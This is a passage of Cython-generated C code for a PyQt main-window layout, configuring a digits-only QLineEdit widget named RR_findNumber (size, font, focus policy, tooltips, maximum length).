QtGui.QFont() * font.setKerning(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__214, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":360 * self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) * self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setKerning(True) * self.RR_findNumber.setFont(font) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 360, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":361 * self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() * font.setKerning(True) # <<<<<<<<<<<<<< * self.RR_findNumber.setFont(font) * self.RR_findNumber.setMouseTracking(True) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 361, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__215, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 361, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":362 * font = QtGui.QFont() * font.setKerning(True) * self.RR_findNumber.setFont(font) # <<<<<<<<<<<<<< * self.RR_findNumber.setMouseTracking(True) * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setFont); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_font); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_font}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_font}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_v_font); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":363 * font.setKerning(True) * self.RR_findNumber.setFont(font) * self.RR_findNumber.setMouseTracking(True) # <<<<<<<<<<<<<< * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.RR_findNumber.setAcceptDrops(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__216, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":364 * self.RR_findNumber.setFont(font) * self.RR_findNumber.setMouseTracking(True) * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) # <<<<<<<<<<<<<< * self.RR_findNumber.setAcceptDrops(False) * self.RR_findNumber.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFocusPolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ClickFocus); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":365 * self.RR_findNumber.setMouseTracking(True) * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.RR_findNumber.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_findNumber.setToolTip("") * self.RR_findNumber.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__217, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":366 * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.RR_findNumber.setAcceptDrops(False) * self.RR_findNumber.setToolTip("") # <<<<<<<<<<<<<< * self.RR_findNumber.setStatusTip("") * self.RR_findNumber.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 366, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 366, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__218, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 366, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":367 * self.RR_findNumber.setAcceptDrops(False) * self.RR_findNumber.setToolTip("") * self.RR_findNumber.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_findNumber.setAccessibleName("") * self.RR_findNumber.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__219, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":368 * self.RR_findNumber.setToolTip("") * self.RR_findNumber.setStatusTip("") * self.RR_findNumber.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_findNumber.setAccessibleDescription("") * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 368, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 368, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__220, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 368, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":369 * self.RR_findNumber.setStatusTip("") * self.RR_findNumber.setAccessibleName("") * self.RR_findNumber.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.RR_findNumber.setInputMask("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 369, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 369, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__221, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 369, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":370 * self.RR_findNumber.setAccessibleName("") * self.RR_findNumber.setAccessibleDescription("") * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) # <<<<<<<<<<<<<< * self.RR_findNumber.setInputMask("") * self.RR_findNumber.setText("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ImhDigitsOnly); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":371 * self.RR_findNumber.setAccessibleDescription("") * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.RR_findNumber.setInputMask("") # <<<<<<<<<<<<<< * self.RR_findNumber.setText("") * self.RR_findNumber.setMaxLength(5) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__222, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":372 * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.RR_findNumber.setInputMask("") * self.RR_findNumber.setText("") # <<<<<<<<<<<<<< * self.RR_findNumber.setMaxLength(5) * self.RR_findNumber.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 372, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 372, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__223, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 372, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":373 * self.RR_findNumber.setInputMask("") * self.RR_findNumber.setText("") * self.RR_findNumber.setMaxLength(5) # <<<<<<<<<<<<<< * self.RR_findNumber.setPlaceholderText("") * self.RR_findNumber.setObjectName("RR_findNumber") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 373, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 373, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__224, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 373, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":374 * self.RR_findNumber.setText("") * self.RR_findNumber.setMaxLength(5) * self.RR_findNumber.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_findNumber.setObjectName("RR_findNumber") * self.horizontalLayout_7.addWidget(self.RR_findNumber) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 374, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 374, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); 